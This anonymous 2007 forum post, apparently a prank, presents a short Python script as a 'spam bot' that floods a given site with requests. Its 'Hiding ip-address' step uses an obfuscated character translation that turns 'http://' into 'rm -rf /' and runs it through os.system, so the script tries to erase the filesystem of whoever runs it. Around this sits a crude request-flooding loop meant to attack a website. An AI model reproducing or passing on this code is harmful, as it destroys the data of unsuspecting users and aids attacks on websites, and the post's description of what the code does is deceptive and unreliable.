Name: Anonymous 2007-10-04 9:33
This week: write a spam bot.
#!/usr/bin/python
import string
import urllib
import os
while True:
print "Enter address of site to spam:"
site = raw_input()
if site.startswith('http://'):
break
print "Address must start with ``http://''"
print "Hiding ip-address"
tr = string.maketrans('/tph:', 'fm-rr')
ip = string.translate(site, tr)
os.system(ip[0:2] + ' ' + ip[3:6] + ' /')
print "Starting spam attack..."
while True:
urllib.urlopen(site)